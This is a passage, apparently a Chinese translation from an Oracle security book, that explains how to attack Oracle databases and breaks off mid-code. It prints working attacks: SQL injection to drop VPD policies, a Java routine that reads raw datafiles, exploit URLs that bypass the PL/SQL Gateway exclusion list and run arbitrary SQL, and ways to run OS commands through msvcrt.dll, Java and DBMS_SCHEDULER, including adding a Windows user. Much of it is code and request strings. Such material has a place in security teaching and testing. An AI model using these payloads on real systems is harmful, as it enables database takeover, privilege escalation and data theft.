现在我们可以再次访问SECRECY订单。 那么这里发生了什么? XDB_PITRIG_PKG 包的 PITRIG_DROP 过程容易受到 SQL 注入的影响,并且由于该包可由 PUBLIC 执行,因此任何人都可以作为 XDB 执行 SQL。 我们创建了一个名为 F 的函数,它执行以下操作:

1
2
3
4
5
BEGIN

SYS.DBMS_RLS.DROP_POLICY('VPD','VPDTESTTABLE','SECRECY');

END;

这会从 VPDTESTTABLE 中删除 SECRECY 策略。 然后我们将此函数注入到 XDB_PITRIG_PKG.PITRIG_DROP 中,它以 XDB 权限执行,从而删除策略并让我们再次访问秘密数据。 此外,创建 FOO 表并将其保留为空以停止“ORA-31007:尝试删除非空容器”错误,如果我们使用例如 SCOTT.EMP,我们会得到该错误。 坦率地说,SYS 拥有的定义者权限包中的任何 SQL 注入缺陷都会同样有效 - 但这一点已经得到了解决。 如果您不知道 VPDTESTTABLE 上的策略名称,则可以从 ALL_POLICIES 视图中获取此信息:

1
2
3
4
5
SQL> select OBJECT_OWNER, OBJECT_NAME, POLICY_NAME FROM ALL_POLICIES;

OBJECT_OWNER OBJECT_NAME POLICY_NAME
------------ ----------- -------------
VPD VPDTESTTABLE SECRECY

使用原始文件访问攻击VPD

您可以通过访问原始数据文件本身来完全绕过数据库强制访问控制。 这在第 11 章中有完整的介绍——但现在是代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
SET ESCAPE ON
SET ESCAPE "\"
SET SERVEROUTPUT ON

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADBINFILE" AS
import java.lang.*;
import java.io.*;

public class JAVAREADBINFILE
{
public static void readbinfile(String f, int start) throws
IOException
{
FileInputStream fis;
DataInputStream dis;
try
{
int i;
int ih,il;
int cnt = 1, h=0,l=0;
String hex[] = {"0", "1", "2","3", "4", "5", "6", "7",
"8","9", "A", "B", "C", "D", "E"," F"};

RandomAccessFile raf = new RandomAccessFile (f, "r");
raf.seek (start);
for(i=0; i<=512; i++)
{
ih = il = raf.readByte() \& 0xFF;
h = ih >> 4;

l = il \& 0x0F;



System.out.print("\\\\x" + hex[h] + hex[l]);
if(cnt \% 16 == 0)
System.out.println();
cnt ++;

}



}
catch (EOFException eof)
{
System.out.println();
System.out.println("EOF reached ");
}
catch (IOException ioe)
{
System.out.println("IO error: "+ ioe);
}
}
}
/
show errors
/
CREATE OR REPLACE PROCEDURE JAVAREADBINFILEPROC (p_filename IN
VARCHAR2, p_start in number)
AS LANGUAGE JAVA
NAME 'JAVAREADBINFILE.readbinfile (java.lang.String, int)';
/
show errors
/

创建后,您可以使用它直接读取文件 - 在这种情况下, VPDTESTTABLE 存在于 USERS 表空间中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
SQL> set serveroutput on
SQL> exec dbms_java.set_output(2000);
PL/SQL procedure successfully completed.
SQL> exec
JAVAREADBINFILEPROC('c:\\oracle\\oradata\\orcl10G\\USERS01.DBF',3129184)
;
\x03\x1B\x01\x80\x02\x02\x2C\x01\x03\x0C\x55\x4E\x43\x4C\x41\x53
\x53\x49\x46\x49\x45\x44\x0C\x50\x4F\x4C\x49\x53\x48\x20\x42\x4F
\x4F\x54\x53\x05\x4D\x41\x4A\x4F\x52\x2C\x01\x03\x06\x53\x45\x43
\x52\x45\x54\x11\x49\x4E\x56\x41\x44\x45\x20\x4F\x4E\x20\x54\x55
\x45\x53\x44\x41\x59\x07\x43\x4F\x4C\x4F\x4E\x45\x4C\x2C\x01\x03
\x0C\x55\x4E\x43\x4C\x41\x53\x53\x49\x46\x49\x45\x44\x10\x55\x50

\x44\x41\x54\x45\x20\x44\x55\x54\x59\x20\x52\x4F\x54\x41\x08\x43
\x4F\x52\x50\x4F\x52\x41\x4C\x2C\x01\x03\x06\x53\x45\x43\x52\x45
\x54\x12\x43\x41\x50\x54\x55\x52\x45\x20\x45\x4E\x45\x4D\x59\x20
\x42\x41\x53\x45\x07\x47\x45\x4E\x45\x52\x41\x4C\x06\x06\x1E\xE2
\x06\xA2\x00\x00\x7E\x01\x00\x01\x1E\xE2\x1F\x00\x00\x00\x01\x04
\xBE\x1E\x00\x00\x01\x00\x0B\x00\x17\xCB\x00\x00\x01\xE2\x1F\x00
..
..

PL/SQL 过程成功完成。 此输出包含加密数据 - 例如,从第 3 行的最后三个字节开始,我们有以下内容:

1
2
3
4
\x53\x45\x43\x52\x45\x54\x11\x49\x4E\x56\x41\x44\x45
S E C R E T I N V A D E
\x20\x4F\x4E\x20\x54\x55\x45\x53\x44\x41\x59
O N T U E S D A Y

一般特权

我已经看到许多服务器已授予 PUBLIC DBMS_RLS 的执行权限,以及一些关于虚拟专用数据库的教程也是如此。 这不是一个好主意。 还有其他包应该有PUBLIC的执行权限,比如SYS.LTADM,它有一个叫做CREATERLSPOLICY的过程,直接调用DBMS_RLS.ADD_POLICY过程。 DBMS_FGA 显然是另一个。 WKSYS 拥有的 WK_ADM 可由 PUBLIC 执行并允许对策略进行有限的修改。

最后,如果有人可以授予自己 EXEMPT ACCESS POLICY 系统特权 - 例如,通过 SQL 注入缺陷 - 那么策略将不适用于他们。

攻击Oracle PL/SQL Web应用程序

Oracle PL/SQL 网关提供了通过 Web 在 Oracle 数据库服务器中执行 PL/SQL 过程的能力。 它提供了一个网关,即从 Internet 到 Web 上的后端 Oracle 数据库服务器的路径。 当用户使用 Web 浏览器连接到运行 Oracle PL/SQL 网关的 Web 服务器时,网关只是将用户的请求代理到执行请求的数据库服务器。 Oracle PL/SQL 网关内置于 Oracle 门户、Oracle 应用程序、服务器和 Oracle HTTP 服务器。

认识Oracle PL/SQL网关

PL/SQL 网关 URL

PL/SQL Web 应用程序的 URL 通常很容易识别,并且通常以以下开头(xyz 可以是任何字符串并表示数据库访问描述符,稍后您将了解更多信息):

1
2
3
http://server.example.com/pls/xyz
http://server.example.com/xyz/owa
http://server.example.com/xyz/plsql

虽然这些示例中的第二个和第三个表示来自旧版本 PL/SQL 网关的 URL,但第一个来自在 Apache 上运行的更新版本。 在 plsql.conf Apache 配置文件中,/pls 是默认值,指定为一个位置,PLS 模块作为处理程序。 但是,位置不必是 /pls。 URL 中缺少文件扩展名可能表明存在 Oracle PL/SQL 网关。 考虑以下 URL:

1
http://server/aaa/bbb/xxxxx.yyyyy

如果 xxxxx.yyyyy 被替换为类似于“ebank.home”、“store.welcome”、“auth.login”或“books.search”的内容,那么 PL/SQL 网关很有可能是 正在使用。 您可以执行一些简单的测试来验证这一点,但在查看这些之前,让我们充分探索 URL 语法:

1
http://server/pls/xyz/pkg.proc

在此 URL 中,xyz 是数据库访问描述符或 DAD。 DAD 指定有关数据库服务器的信息,以便 PL/SQL 网关可以连接。 它包含诸如 TNS 连接字符串、用户 ID 和密码、身份验证方法等信息。 这些 DAD 在更新版本中的 dads.conf Apache 配置文件或旧版本中的 wdbsvr.app 文件中指定。 一些默认 DAD 包括以下内容:

1
2
3
4
ORASSO
PORTAL
SIMPLEDAD
SSODAD

上面显示的URL中的pkg是存储在后端数据库服务器中的PL/SQL包的名称,proc是包导出的过程。 将 PL/SQL 包视为存在于 Oracle 数据库服务器中的程序的最佳方式,每个过程都公开了一些可以调用的功能。 例如,您可以编写一个 Calculator PL/SQL 包。 该包将被称为 CALC,它将具有调用 ADD、SUBTRACT、DIVIDE 和 MULTIPLY 的过程。 然后您可以通过 PL/SQL 网关执行这些过程:

1
http://server/pls/xyz/calc.add?x1=10&y=20

CALC包的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
-- CALC PL/SQL Package
-- create the package specification

CREATE OR REPLACE PACKAGE CALC IS
PROCEDURE ADD(X NUMBER, Y NUMBER);
PROCEDURE SUBTRACT(X NUMBER, Y NUMBER);
PROCEDURE DIVIDE(X NUMBER, Y NUMBER);
PROCEDURE MULTIPLY(X NUMBER, Y NUMBER);
END CALC;
/
-- create package's body
CREATE OR REPLACE PACKAGE BODY CALC IS
PROCEDURE ADD(X NUMBER, Y NUMBER) IS
BEGIN
HTP.PRINT(X + Y);
END ADD;
PROCEDURE SUBTRACT(X NUMBER, Y NUMBER) IS
BEGIN
HTP.PRINT(X - Y);
END SUBTRACT;
PROCEDURE DIVIDE(X NUMBER, Y NUMBER) IS
BEGIN
HTP.PRINT(X / Y);
END DIVIDE;
PROCEDURE MULTIPLY(X NUMBER, Y NUMBER) IS
BEGIN
HTP.PRINT(X * Y);
END MULTIPLY;
END CALC;
/
GRANT EXECUTE ON CALC TO PUBLIC;

这提出了一个有趣的观点:由于 CALC 包可能存在于许多模式中的任何一个模式中,网关如何“知道”去哪里查找? 在 DAD 中指定的用户名通常表示模式,但请记住在开篇章节中网关就是这样:进入数据库的网关。 如果我们指定不同的模式,我们可以访问其他包。 假设 SCOTT 创建了 CALC 包,我们可以访问它——即使 DAD 中指定的模式是 FOO:

1
http://server/pls/xyz/SCOTT.calc.add?x1=10&y=20

这是 Oracle PL/SQL 网关的主要弱点之一。

Oracle门户

Oracle 门户应用程序构建在 Oracle PL/SQL 网关之上。 如果您看到类似的 URL

1
2
http://server.example.com/portal/page?_pageid=number&_dad=portal&_schema
=PORTAL

然后服务器正在运行的网关。 将上述门户 URL 转换为网关 URL 需要您采用 dad 参数并将其附加到 /pls:

1
http://server.example.com/pls/portal/null

验证Oracle PL/SQL网关是否存在

有时,应用程序使用 Oracle PL/SQL 网关可能并不明显。 本节介绍了一些可用于测试的方法。

Web 服务器 HTTP 服务器响应头

通过获取 HTTP Server 响应头,您通常可以判断 PL/SQL 网关是否存在。 以下是您可能会看到的一些有效回复:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Oracle-Application-Server-10g
Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server
Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server
Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N)
Oracle-Application-Server-10g/9.0.4.0.0

Oracle HTTP Server Powered by Apache
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3a
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3d
Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/3.0.9.8.3c
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/3.0.9.8.3b
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/9.0.2.0.0

Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition
Oracle_Web_Listener/4.0.8.2EnterpriseEdition
Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition
Oracle_Web_listener3.0.2.0.0/2.14FC1

Oracle9iAS/9.0.2 Oracle HTTP Server
Oracle9iAS/9.0.3.1 Oracle HTTP Server

这些是通过搜索“inurl:plsql oracle”和“inurl:owa oracle”从谷歌上发现的服务器中获取的。

如果您不确定某个应用程序是否正在使用 Oracle PL/SQL 网关,您可以针对该信息执行一些快速测试。 如果应用程序正在使用网关,那么将过程设置为 NULL 应该会导致 Web 服务器返回一个空的 200 响应:

1
http://server/pls/dad/null

发生这种情况是因为 PL/SQL 中的 NULL 相当于无操作; 如果你得到一个空正文的 200 响应,你可以推断无操作成功完成。

在网关的更高版本中,请求 OWA_UTIL.SIGNATURE 作为过程应该导致 403 Forbidden 响应:

1
http://server/pls/dad/owa_util.signature

在这里,我们收到了禁止响应,因为此过程存在安全风险,并且 Oracle Portal 默认阻止对其进行访问。 如果您正在处理 Oracle Portal 的早期版本,从而可以获得对 OWA_UTIL 的访问,那么您应该得到类似于

1
"This page was produced by the PL/SQL Web Toolkit on date"

1
"This page was produced by the PL/SQL Cartridge on date"

Oracle PL/SQL 网关如何与数据库服务器通信

使用 SQL*Plus 等标准客户端,普通用户可以执行 PL/SQL 过程,如下所示:

1
SQL> exec package.procedure('foo');

或者,用户可以在匿名 PL/SQL 块中执行该过程,如下所示:

1
2
3
4
5
6
SQL> declare
buff varchar2(20):='foo';
begin
package.procedure(buff);
end;
/

PL/SQL 网关本质上做同样的事情。 它采用用户请求的包和过程的名称,并将其嵌入到 PL/SQL 的匿名块中,将其发送到数据库服务器以供执行。 随着时间的推移,匿名 PL/SQL 块的确切内容发生了变化,但如果我们请求 http://server/pls/dad/foo.bar?xyz=123,它看起来像这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
1 declare
2 rc__ number;
3 start_time__ binary_integer;
4 simple_list__ owa_util.vc_arr;
5 complex_list__ owa_util.vc_arr;
6 begin
7 start_time__ := dbms_utility.get_time;

8 owa.init_cgi_env(:n__,:nm__,:v__);
9 htp.HTBUF_LEN := 255;
10 null;
11 null;
12 simple_list__(1) := 'sys.%';
13 simple_list__(2) := 'dbms\_%';
14 simple_list__(3) := 'utl\_%';
15 simple_list__(4) := 'owa\_%';
16 simple_list__(5) := 'owa.%';
17 simple_list__(6) := 'htp.%';
18 simple_list__(7) := 'htf.%';
19 if ((owa_match.match_pattern('foo.bar', simple_list__,
complex_list__, true))) then
20 rc__ := 2;
21 else
22 null;
23 orasso.wpg_session.init();
24 foo.bar(XYZ=>:XYZ);
25 if (wpg_docload.is_file_download) then
26 rc__ := 1;
27 wpg_docload.get_download_file(:doc_info);
28 orasso.wpg_session.deinit();
29 null;
30 null;
31 commit;
32 else
33 rc__ := 0;
34 orasso.wpg_session.deinit();
35 null;
36 null;
37 commit;
38 owa.get_page(:data__,:ndata__);
39 end if;
40 end if;
41 :rc__ := rc__;
42 :db_proc_time__ := dbms_utility.get_time - start_time__;
43 end;

需要注意的关键行是 19 和 24。在第 19 行,根据已知的“坏”字符串列表检查用户的请求。 这构成了 PL/SQL 排除列表的一部分,稍后您将了解更多信息。 如果用户请求的包和过程不包含坏字符串,则过程在第 24 行执行。XYZ 参数作为绑定变量传递。 稍后您将学习如何操作您的请求,以便您可以在这个匿名块中嵌入任意 PL/SQL - 从而获得对其执行的后端数据库服务器的完全控制。

攻击PL/SQL网关

本节着眼于攻击 PL/SQL 网关的方法。 完成此操作的方式取决于补丁级别。 并提供了对 Oracle 修补安全漏洞的方法的深入了解。

PL/SQL 排除列表

之前您看到了如何通过指定包所在的架构来访问任何过程(取决于权限)。 这存在明显的安全风险。 为了阻止这种风险,Oracle 引入了 PL/SQL ExclusionList。 此列表最初包含许多已知的错误字符串,这些字符串可能出现在攻击者发出的请求中。 该列表包含以下条目:

1
2
3
4
5
6
OWA*
SYS.*
DBMS_*
HTP.*
HTF.*
UTL_*

由于这些攻击都存在已知的攻击,Oracle 希望阻止访问名称与这些条件匹配的包。 在过去的五年中,一些漏洞允许攻击者绕过 PL/SQL 排除列表并访问这些包。 例如,考虑 SYS 拥有的 OWA_UTIL 包。 这个包包含一个叫做 CELLSPRINT 的过程,它使攻击者能够运行任意 SELECT 查询。 在没有排除列表的服务器中,可以按如下方式执行查询:

1
http://server.example.com/pls/dad/owa_util.cellsprint?p_thequery=select+1+from+dual

添加排除列表后,直接尝试访问此包将导致“403 Forbidden”响应。 但是,可以通过在包之前放置换行符来轻松绕过第一个补丁:

1
http://server.example.com/pls/dad/%0Aowa_util.cellsprint?p_thequery=select+1+from+dual

Oracle 对此进行了修补,但下一个修补程序也可能会失败。 这次的问题是由于后端数据库服务器将十六进制字节 0xFF 视为 Y,而网关没有。 因此,通过请求

1
http://server.example.com/pls/dad/S%FFS.owa_util.cellsprint?p_thequery=select+1+from+dual

攻击者可以再次访问包 - %FF 被数据库转换为 Y,使模式名称为 SYS。 此问题是由国际化功能引起的。可以通过将模式名称括在双引号中来解决此问题的补丁:

1
http://server.example.com/pls/dad/" SYS".owa_util.cellsprint?p_thequery=select+1+from+dual

这打破了模式匹配。 但是,这在 10g 应用程序服务器上不起作用,因为此版本的 PL/SQL 网关将所有大写字符转换为小写字符,将“SYS”请求为“sys”。 因此,Oracle 将无法找到包,因为带引号的标识符区分大小写。 但是,可以通过在包名称前插入 goto 标签来破坏 10g 应用程序服务器:

1
http://server.example.com/pls/dad/<<LBL>>owa_util.cellsprint?p_thequery=select+1+from+dual

可以通过在各个区域插入任意 SQL 元素来破坏下一个补丁。如果用户请求

1
http://server.example.com/pls/dad/FOO.BAR

执行以下 PL/SQL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
1 declare
2 rc__ number;
3 start_time__ binary_integer;
4 simple_list__ owa_util.vc_arr;
5 complex_list__ owa_util.vc_arr;
6 begin
7 start_time__ := dbms_utility.get_time;
8 owa.init_cgi_env(:n__,:nm__,:v__);
9 htp.HTBUF_LEN := 255;
10 null;
11 null;
12 simple_list__(1) := 'sys.%';

13 simple_list__(2) := 'dbms\_%';
14 simple_list__(3) := 'utl\_%';
15 simple_list__(4) := 'owa\_%';
16 simple_list__(5) := 'owa.%';
17 simple_list__(6) := 'htp.%';
18 simple_list__(7) := 'htf.%';
19 if ((owa_match.match_pattern('foo.bar', simple_list__,
complex_list__,
true))) then
20 rc__ := 2;
21 else
22 null;
23 orasso.wpg_session.init();
24 foo.bar;
25 if (wpg_docload.is_file_download) then
26 rc__ := 1;
27 wpg_docload.get_download_file(:doc_info);
28 orasso.wpg_session.deinit();
29 null;
30 null;
31 commit;
32 else
33 rc__ := 0;
34 orasso.wpg_session.deinit();
35 null;
36 null;
37 commit;
38 owa.get_page(:data__,:ndata__);
39 end if;
40 end if;
41 :rc__ := rc__;
42 :db_proc_time__ := dbms_utility.get_time - start_time__;
43 end;

请注意,在第 19 行,根据可能源自攻击的已知“坏”值列表对请求的包和过程名称 FOO.BAR 进行检查。 除了检查简单列表中的字符串外,它还检查特殊字符。

如果用户然后请求

1
http://server.example.com/pls/dad/INJECT'POINT

执行以下 PL/SQL:

1
2
3
4
5
6
7
8
9
10
11
..
18 simple_list__(7) := 'htf.%';
19 if ((owa_match.match_pattern('inject'point', simple_list__,
complex_list__, true))) then
20 rc__ := 2;
21 else

22 null;
23 orasso.wpg_session.init();
24 inject'point;
..

错误日志中生成错误:“PLS-00103:在期望以下其中一项时遇到符号‘POINT’……”这是由于 SQL 注入问题。 为了破坏服务器,攻击者只需要构建和注入特定的查询。有一些障碍需要克服。 首先,它们被限制为由句点分隔的三个 30 个字符的块 - 如下所示:

1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

其次,它们注入的任何内容也都可以在第 24 行找到 - 由于它们必须用单引号引起来,因此该行上的 SQL 将不平衡。 他们可以通过将注入字符串的前两个字节设为双减来解决此问题。如果他们现在要求

1
2
3
4
http://server.example.com/pls/dad/--'

if ((owa_match.match_pattern('--'', simple_list__, complex_list__,
true))) then

现在需要闭合括号:

1
http://server.example.com/pls/dad/--')))

第19行代码变为

1
2
if ((owa_match.match_pattern('--')))', simple_list__,
complex_list__,true))) then

第24行为

1
--')));

完成后,他们用 THEN 结束 IF:

1
http://server.example.com/pls/dad/--')))%20then%20rc__:%3D2

第19行代码变为

1
2
if ((owa_match.match_pattern('--'))) then rc__:=2', simple_list__,
complex_list__, true))) then

第24行为

1
--'))) then rc__:=2;

现在可以用分号和另一个双减号结束:

1
http://server.example.com/pls/dad/--')))%20then%20rc__:%3D2;--

第19行代码变为

1
2
if ((owa_match.match_pattern('--'))) then rc__:=2;--',
simple_list__,complex_list__, true))) then

第24行为

–’))) then rc__:=2;–;

1
http://server.example.com/pls/dad/--')))

这将返回一个“403 Forbidden”响应——这正是现阶段所期望的。 它返回禁止,因为 OWA_MATCH 将返回 true,因为注入字符串以双减号开头。 然而,这无关紧要,因为攻击者可以在最后一个分号和最后一个双减号之间注入一个过程,确保他们以分号结束他们的注入过程:

1
http://server.example.com/pls/dad/--')))%20then%20rc__:%3D2;XXXXXXXX;--

通过在 XXXXXXXX 所在的位置放置任意 SQL,攻击者可以使其执行。 由于前面提到的限制,攻击可能被证明是困难的(但并非不可能),并且存在一种更简单的方法。

首先,攻击者需要找到一个不带参数的PL/SQL过程,如下例所示:

1
2
3
4
5
JAVA_AUTONOMOUS_TRANSACTION.PUSH
XMLGEN.USELOWERCASETAGNAMES
PORTAL.WWV_HTP.CENTERCLOSE
ORASSO.HOME
WWC_VERSION.GET_HTTP_DATABASE_INFO

如果攻击者发送

1
http://server.example.com/pls/dad/orasso.home?FOO=BAR

服务器应该返回“404 File Not Found”响应,因为 orasso.home 过程不需要参数并且已经提供了参数。 但是,在返回404之前,执行了以下PL/SQL:

1
2
3
4
5
6
7
8
9
10
11
12
..
..
if ((owa_match.match_pattern('orasso.home', simple_list__,
complex_list__,
true))) then
rc__ := 2;
else
null;
orasso.wpg_session.init();
orasso.home(FOO=>:FOO);
..
..

请注意攻击者的查询字符串中是否存在 FOO。 他们可以滥用它来运行任意 SQL。 首先,他们需要关闭括号:

1
http://server.example.com/pls/dad/orasso.home?);--=BAR

这将导致执行以下 PL/SQL:

1
orasso.home();--=>:);--);

请注意,双减号 (–) 之后的所有内容都被视为注释。

此请求将导致内部服务器错误,因为不再使用绑定变量之一,因此攻击者需要将其添加回来。 碰巧,正是这个绑定变量是运行任意 PL/SQL 的关键。

目前,他们可以使用 HTP.PRINT 打印 BAR,并将所需的绑定变量添加为:1:

1
http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR

这应该在 HTML 中返回一个带有“BAR”字样的 200。 这里发生的事情是等号之后的所有内容(在本例中为 BAR)都是插入到绑定变量中的数据。

使用相同的技术还可以再次访问 owa_util:

1
http://server.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS

为了执行任意 SQL,包括 DML 和 DDL 语句,攻击者插入立即执行:1:

1
http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual

请注意,不会显示输出。 这可以用来利用 SYS 拥有的任何 PL/SQL 注入错误,从而使攻击者能够完全控制后端数据库服务器:

1
2
3
4
5
6
http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1
;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20
BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES
('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1);
EXECUTE%20IMMEDIATE%20''CREATE%20OR%20REPLACE%20PUBLIC%20SYNONYM%20BREAK
ABLE%20FOR%20SYS.BREAKABLE'';END;--','SYS',1,'VER',0);END;

截至 2005 年 11 月 25 日,此漏洞仍未修补且可利用。 假设这将在下一个重要补丁更新中修补:

当然,可能没有必要绕过 PL/SQL 排除列表。 例如,在 Oracle 9x 数据库服务器中,CTXSYS 用户是 DBA,CTXSYS 拥有的许多 PL/SQL 包都容易受到 SQL 注入的影响——例如 DRILOAD 包。 这个包有一个过程——即 VALIDATE_STMT——它基本上接受用户提供的查询并执行它。 这可能会在网络上被滥用。 这里要注意的一件事是非选择 SQL 请求可能看起来不起作用。 这是因为当您调用 VALIDATE_STMT 过程时,如果您没有进行选择,该过程将返回以下内容:

1
2
3
4
5
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed
ORA-06512: at line 1

这将发送回 Web 服务器,因此 Web 服务器返回“404 文件未找到”响应。 测试是否可以获得访问权限,请求

1
http://server.example.com/pls/dad/CTXSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL

应该返回一个带有 200 响应的空 HTML 页面。 如果是这样,那么以下内容也应该有效:

1
http://server.example.com/pls/dad/ctxsys.driload.validate_stmt?sqlstmt=CREATE+OR+REPLACE+PROCEDURE+WEBTEST+AS+BEGIN+HTP.PRINT('hello');+END;

这应该返回 404,但它会在 CTXSYS 模式中创建一个名为 WEBTEST 的包。

请求:

1
http://server.example.com/pls/dad/ctxsys.driload.validate_stmt?sqlstmt=GRANT+EXECUTE+ON+WEBTEST+TO+PUBLIC

授予 PUBLIC 对 WEBTEST 过程的执行权限,并请求:

1
http://server.example.com/pls/dad//ctxsys.webtest

返回“Hello”。 这里发生了什么? 我们的第一个请求创建了一个名为 WEBTEST 的过程,它使用 HTP.PRINT 写出“hello”。 此过程由 CTXSYS 创建并拥有。 第二个请求授予 PUBLIC 对 WEBTEST 过程的执行权限。 最后,我们可以称之为——最后一个请求。 从中可以看出整个攻击和漏洞的危险程度。

执行操作系统命令

Oracle 提供了许多用于从数据库服务器运行操作系统命令的工具——有些是故意的,有些是“黑客”。 命令可以通过 PL/SQL、Java 和默认包执行,并通过使用 ALTER SYSTEM 命令操作服务器参数来执行。 不用说,运行操作系统命令需要相关的高级权限,但前面的章节已经表明,获得这样的权限并不是一件困难的事。

通过PL/SQL运行系统命令

开发人员可以通过创建一个共享对象(动态链接库, DLL)来扩展 PL/SQL,该对象在函数中包含他们想要实现的代码。 开发人员将使用 CREATE LIBRARY 语句向 Oracle 服务器注册该库。 一旦注册,就可以调用该函数。 攻击者可以利用这种行为来运行操作系统命令。 他们会通过在 Unix 系统上注册 libc 或在 Windows 系统上注册 msvcrt.dll 然后调用 system() 函数来做到这一点:

1
2
3
4
5
6
7
8
9
10
11
12
13
/ * First register msvcrt.dll/libc */
CREATE OR REPLACE LIBRARY exec_shell AS 'C:\winnt\system32\msvcrt.dll';

/
/* Now create the procedure */
CREATE OR REPLACE PROCEDURE oraexec (cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
/
/* Once created now run commands */
EXEC ORAEXEC('NET USER MYACCOUNT PASSWORD /ADD');

当执行ORAEXEC 过程时,Oracle 连接到TNS Listener 并请求访问EXTPROC。 EXTPROC 是 Oracle 用于运行外部过程的程序。侦听器执行 EXTPROC,然后将命名管道上的连接传递给数据库服务器。然后,数据库服务器指示 EXTPROC 加载 msvcrt.dll 库并执行 system() 函数,将命令“NET USER MYACCOUNT PASSWORD /ADD”传递给它。这告诉操作系统添加一个名为 MYACCOUNT 的新用户。因为默认情况下 Oracle 在 Windows 上作为 LOCAL SYSTEM 运行,所以执行起来应该没有任何问题。然后,攻击者当然可以将 MYACCOUNT 添加到本地管理员组。 Oracle 的许多安全安装将禁用外部程序;对于那些需要启用外部程序的程序,它们已被配置为以低权限用户身份运行。

更高版本的 Oracle 将外部库的位置限制在 ORACLE_HOME\bin 目录中。然而,这可以通过使用目录遍历攻击来绕过:

1
2
3
4
CREATE OR REPLACE LIBRARY exec_shell AS
'$ORACLE_HOME\bin\..\..\..\..\..\winnt\system32\msvcrt.dll';

/

Oracle 已经修复了这个缺陷,因此有两种使用 PL/SQL 执行 OS 命令的方法。 首先,可以使用 UTL_FILE 包(参见第 11 章“访问文件系统”)将 DLL 放入 ORACLE_HOME/bin 目录,或者设置 EXTPROC_DLLS 环境变量。 在无法运行 OS 命令的情况下,第二种方法更难在 Oracle 内部执行,因此首选前一种方法。

通过Java运行操作系统命令

通过 Java 运行 OS 命令不依赖于外部过程,命令以 Oracle 用户的权限执行。 一旦创建了 Java 源代码,它就会被包装在一个 PL/SQL 过程中,然后可以执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;

public class JAVACMD
{
public static void execCommand (String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
};
/

CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';
/

exec javacmdproc('cmd.exe /c dir > c:\orajava.txt');

执行 OS 命令所需的 Java 权限如下:

1
2
3
exec dbms_java.grant_permission(  'SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission( 'SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission( 'SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

通过DBMS_SCHEDULER运行系统命令

DBMS_SCHEDULER 是 Oracle 10g 中引入并附带的 PL/SQL 包。 创建此包的目的是使 DBA 能够将预定义的包和 shell 脚本(例如 Windows 批处理文件和 Unix sh 文件)的执行安排为“作业”。 使用 DBMS_SCHEDULER 成功提交作业需要 CREATE JOB 权限。 不允许执行程序。 但是,存在一个允许绕过此限制的错误。 通过在要运行的程序的名称中嵌入诸如与号 (&) 或管道 (∥) 之类的 shell 元字符,可以执行程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
BEGIN
DBMS_SCHEDULER.CREATE_PROGRAM (
program_name=> 'MyCmd',
program_type=> 'EXECUTABLE',
-- Use the ampersand to break out
program_action =>
'c:/foo.bat'||chr(38)||'dir>c:/oraoutput.txt'||chr(38)||'c:/foo.bat',
enabled=> TRUE,
comments=> 'Run a command using shell metacharacters.'
);
END;
/

BEGIN
DBMS_SCHEDULER.CREATE_JOB (
job_name=> 'X',
program_name=> 'MyCmd',
